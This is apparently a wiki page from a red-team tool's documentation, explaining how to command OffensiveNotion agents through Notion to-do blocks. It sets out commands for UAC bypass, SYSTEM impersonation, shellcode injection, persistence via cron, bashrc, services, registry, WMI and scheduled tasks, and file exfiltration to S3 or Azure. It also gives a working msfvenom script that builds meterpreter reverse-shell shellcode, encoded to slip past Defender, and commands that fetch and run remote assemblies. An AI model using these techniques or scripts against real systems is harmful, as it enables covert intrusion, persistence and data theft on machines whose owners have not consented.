Skip to content

6. Agent Interaction

Michael Taggart edited this page Apr 7, 2023 · 45 revisions

Once an agent has checked in to your listener page and you have a session on the target, how do you interact with it?

Basic Command Usage

All agent commands are interpreted and executed by using this syntax on the agent session page:

image

The todo item has no 🎯 icon, so will not yet be executed by the agent.

That means that from the agent's page, make a To-Do block (use the keyboard shortcut /todo and select from the list), then enter your command, then add the 🎯 emoji at the end. The agent identifies a to-do block with a target emoji in it as a command to execute on the host.

🟢 Tip

Create a To-Do block by tapping the left and right square brackets quickly.

Once a command is executed, the to-do block is checked and the output is added to the page in a code block:

image

If you want to rerun the same command, uncheck the box and it will run at the next check-in!

image

image

🟠 Note

The agent only interprets a to-do block as a command if it is in the outer-most section of the page. So if your command is not running, try hitting escape until the to-do block is sitting furthest to the left on the page. If you put a to-do block as a child of another block on the page, the agent will not interpret it:

image

The indendation denotes the second command is actually a child of the first, and won't be executed.

image

There we go.

Commands

These are all of the available commands for the agent, what they do, their usage, and some examples.

azupload

Usage: azupload [storage_account] [access_key] [container_name] [filename]

Upload a file to an Azure Storage container. Be aware, this requires an Azure Storage account/container with public access enabled! Pass the account name, access key, container name, and filename to the command. The result will be a URL to the uploaded resource.

cd

Usage: cd [dir]

Description: Changes directory without invoking the shell. Relative paths are accepted.

Examples

image

download

Usage: download [url] [[path]]

Description: Downloads file from a url. If [path] is provided, that is where the file will be written, if it can be. If [path] is not provided, the final component of the URI will be used as the filename.

Examples

image

Don't forget to remove the auto-generated link from the URL, or OffensiveNotion won't be able to parse it.

image

image

Hey look! There it is.

elevate

Usage: elevate [method] [[params]]

Description: Attempt to elevate permissions using the designated method. Available methods depend on platform.

Examples

Linux

  • sudo: uses sudo and spawns a new agent in the root context if the current user is capable. Requires the user's password passed in as the first argument.
  • Example: elevate sudo SudoPassword123! 🎯

Windows

  • fodhelper: uses fodhelper.exe to perform a UAC bypass. Can elevate an administrator user to the admin context. With thanks to Joe Helle, see his writeup here for more info.
  • Example: elevate fodhelper 🎯

🔴OPSEC Warning!

Executing the fodhelper UAC bypass triggers a Windows Defender alert. The elevation still occurs. Be aware that the alert will fire every time you do this.

execute-assembly

Usage: execute-assembly [assembly_url] [[params]]

Executes .NET assemblies downloaded from a URL. Be aware, most assemblies will be detectable by Defender without additional obfuscation.

Examples

execute-assembly https://github.com/Flangvik/SharpCollection/raw/master/NetFramework_4.0_x64/Rubeus.exe triage 🎯

image

getprivs

Usage: getprivs

Description: Checks if the user is in an administrator context or not.

Examples

getprivs 🎯

image

image

getsystem

Usage: getsystem

Description: If in an elevated context on a Windows machine, impersonates NT AUTHORITY\SYSTEM for root-level hijinks. Best used with rev2self.

inject

Used to inject shellcode.

Usage

Windows: inject [method] [url] [b64_iterations] [[pid]]

Linux: inject [method] [url] [filename] [[b64_iterations]]

Description

On Windows, there are two methods of injecting shellcode:

  • inject remote: uses a CreateRemoteThread pattern of API calls to inject into a remote process.
  • inject self: injects shellcode into the agent's own process using the CreateThread pattern of API calls.

On Linux, the current inject method is just a utility to drop payloads like Meterpreter or Cobalt Strike implants and run them directly from the agent.

Prepping Shellcode

injectexpects a file of comma-separated hex values, encoded in base64 [b64_iterations] number of times. This technique allows the shellcode to bypass Defender detections (for the download, anyway) quite effectively.

Here's a handy script for helping to develop payloads based on msfvenom:

#!/bin/bash

PAYLOAD=windows/x64/meterpreter_reverse_tcp
LHOST=192.168.1.10
LPORT=4444
B64_ITERATIONS=5

MSFV_OUT=$(msfvenom -p $PAYLOAD -f csharp LHOST=$LHOST LPORT=$LPORT EXITFUNC=thread | sed "s/[^0xa-z0-9,]//g" | tail -n+2 )
for i in $(seq $B64_ITERATIONS); do
  MSFV_OUT=$(echo $MSFV_OUT | base64 -w 0 | sed "s/ //g")
done
  
echo $MSFV_OUT

With this file save (referred to here as on_shellcode.sh), we can simply run it with our desired params placed in for the variables.

./on_shellcode.sh > note.txt

The payload can then be hosted anywhere you like, including on a Notion page!

Want to do the same thing but with Cobalt Strike shellcode? It's even easier.

Create the C# shellcode payload for your Cobalt Strike beacon and save it to the desktop. Then, run this:

┌──(kali㉿kali)-[~/Desktop]
└─$ cat payload.cs| cut -d "{" -f2 | cut -d "}" -f1 | tail -n+2 | base64 | base64 | [... any number of times...] > note.txt

Examples

Windows inject remote

Using the steps listed above, I've created a file, note.txt, which is a Meterpreter shellcode represented as 0x hexcodes, separated by commas, and base64 encoded three times. I'll begin by hosting this file on my attack server on port 9999.

image

At the same time, I configure Metasploit to await my callback on the LPORT I configured when making the payload with msfvenom.

image

And run the listener.

image

To inject, we need something to inject into. Let's get a process using ps.

image

Looks like Notion is actually running. Great, let's use that.

image

Don't forget to remove that hyperlink!

image

Aaand jackpot.

image

🔴 OPSEC Warning!

It appears Defender is getting better at catching CreateRemoteThread attacks, so use with caution!

Windows inject self

The self-injector does not require a PID for an argument. Follow similar steps for the remote injector noted above, but execute the shellcode with:

inject self [url] [b64_iterations] 🎯

🔴 Safety Warning!

There is a known issue where the self-injector will kill the agent in the event that the shellcode is launched but there is no listener to catch the shell. For example, if you execute the injection but forget to hit run on your MSF multi/handler, or overwrite your shellcode so there are no bytes in there by accident, this action may kill the agent! Otherwise, this method is stable. Be careful when executing this!

Linux

inject dropper [url] [filename] [b64_iterations] 🎯

ls

Usage: ls [dir]

Does what it says on the tin. Lists out the directory provided, or the current one.

persist

Usage: persist [method] [[params]]

Description: Gain persistence via a number of different methods. Available techniques vary depending on platform.

Options:

  • Linux:

    • cron: Adds an entry to the user's crontab.
    • bashrc: Echos the path to the agent and base64 config into the user's .bashrc file.
    • service: Creates a systemd service.
  • Windows:

    • startup: Adds the agent into the user's startup folder.
    • registry: Adds the path to the agent to the user's HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run key.
    • wmic: Writes a WMI Event Subscription to start the agent when a user logs on. Requires administrator privileges. The subscription is created via PowerShell commands.
    • schtasks: Creates a scheduled task to launch the agent at logon. Launches the agent at the NT AUTHORITY\SYSTEM level. Requires administrator privileges.
  • macOS:

    • loginitem: persists via a macOS login item.
    • launchagent: persists by creating a launch agent.

Examples

Persisting via bash

persist bashrc 🎯

image

OffensiveNotion copies itself to a new hidden folder in the user's root. It then appends a line to the user's .bashrc to launch itself when a new shell is opened for the user.

image

Persisting via crontab:

persist cron 🎯 

image

And what's up in the user's crontab?

image

The agent will make a new hidden folder in the user's home directory, copy itself there, and install a new cronjob to run at the top of the hour. Later versions will likely allow this timing to be modified.

Persisting via service

🟠 Note

This only works as root! See the elevate command to learn how to get there.

Creates a systemd service that will run the agent on system startup. Tied to a folder in the root home.

We start by elevating our privs:

image

And in the new agent:

image

Time to persist!

image

So what's up with that service?

image

OffensiveNotion copies itself to a hidden folder in the root home dir. It then uses that and a base64-encoded config in a service file.

Persisting via startup

persist startup 🎯

image

Writes the agent to the the user's Startup Programs folder.

image

Persisting via wmic:

persist wmic 🎯 

Requires elevated shell. See elevate for more.

Copies the agent to %LOCALAPPDTA% and creates event subscriptions which will launch the agent on system startup.

image

image

Persisting via registry:

persist registry 🎯 

Copies the agent to %LOCALAPPDTA% and adds the agent as a value in HKCU\Software\Microsoft\Windows\CurrentVersion\Run.

image

image

Looks pretty innocuous, right?

Persisting via Scheduled Tasks:

persist schtasks 🎯 

Requires elevated shell. See elevate for more.

Copies the agent to %LOCALAPPDTA% and creates a new scheduled task to run at user logon.

image

image

portscan

Usage: portscan [IP/CIDR] [allport (true/false)] [concurrency] [timeout]

🔴 Warning

This is a Rust portscanner. It can be extremely intense on networking equipment. Modify the concurrency and timeout arguments to avoid breaking network stacks.

Description: Initiates a rapid TCP portscan for a single target IP, or a CIDR-notated subnet.

Examples

  • Scan common ports on a /24 subnet: portscan 192.168.1.0/24 false 10 0
  • Scan all ports on a single target, slowing down the scanner: portscan 192.168.1.12 true 10 5

image

Here we're scanning a local network for common ports.

image

ps

Usage: ps

Description: Lists processes. Returns the PID and process name of each discovered process. This command does not use the shell. Note however that this command produces large outputs, and Notion limits each block to 2000 characters, and blocks to having 100 maximum children. You may want to delete or save this info elsewhere after it's produced to keep the page clean.

Examples

image

pwd

Usage: pwd

Description: Prints working directory. Does not use the shell to do so.

Examples

image

Does what it says on the tin.

rev2self

Usage: rev2self

Description: Reverts to user's token after a SYSTEM impersonation on a Windows machine.

s3upload

Usage: s3upload [aws_access_key_id] [aws_secret_access_key] [region] [bucket_name] [filename]

Upload a file to an S3 Bucket. Use a dedicated IAM user with S3 write privileges to the provided bucket. The result will be a URL to the uploaded file.

save

Usage: save [path]

Description: Saves the running config to a file at [path]. Useful for persisting with a modified config, or for testing purposes. The resulting config file is JSON and readable in plaintext, so beware!

Examples

image

selfdestruct

Usage: selfdestruct

Description: This agent will now self destruct. Deletes the agent from the disk and ends the running process. Does some houdini magic on the back end in Windows to avoid file lock. On Linux, just deletes itself.

image

shell

Usage: shell [command]

Description: Executes the given shell command. Output or error will be returned. On Linux, executes the command by calling /bin/bash. On Windows, executes the command by calling cmd.exe

Examples

image

shutdown

Usage: shutdown

Description: Shuts down the agent. Stops the agent process on the host. No further commands can be issued to the agent.

Examples

image

image

sysinfo

Prints some basic information about the host

Usage: sysinfo

config

Usage: config [config_option] [new_value] 🎯

Description: Modifies the running config. Available config options are:

  • parent_page [page_id]: Change the Notion page for communication. WARNING: THIS WILL BREAK THE AGENT UNLESS THE NEW PAGE IS VALID.
  • sleep [seconds]: Change the sleep value in seconds between polls for new commands
  • jitter [seconds] Change the jitter range in seconds.
  • launch_app [true|false]: Change the running config to attempt to launch a fake Notion app—or not. This will only apply in persistence methods after change.
  • log_level [0-5]: Change the logging level of the agent. WARNING: May result in conspicuous outputs on Linux`.
  • config_file_path [path]: Change where the agent will look for a config file upon startup.
  • env_checks [json]: Change the environment checks (guardrails). Please see the Guardrails section for more details on syntax as you'll have to provide raw JSON in a specific shape to make new guardrails.

whoami

whoami 🎯

Returns the username. That's it!

image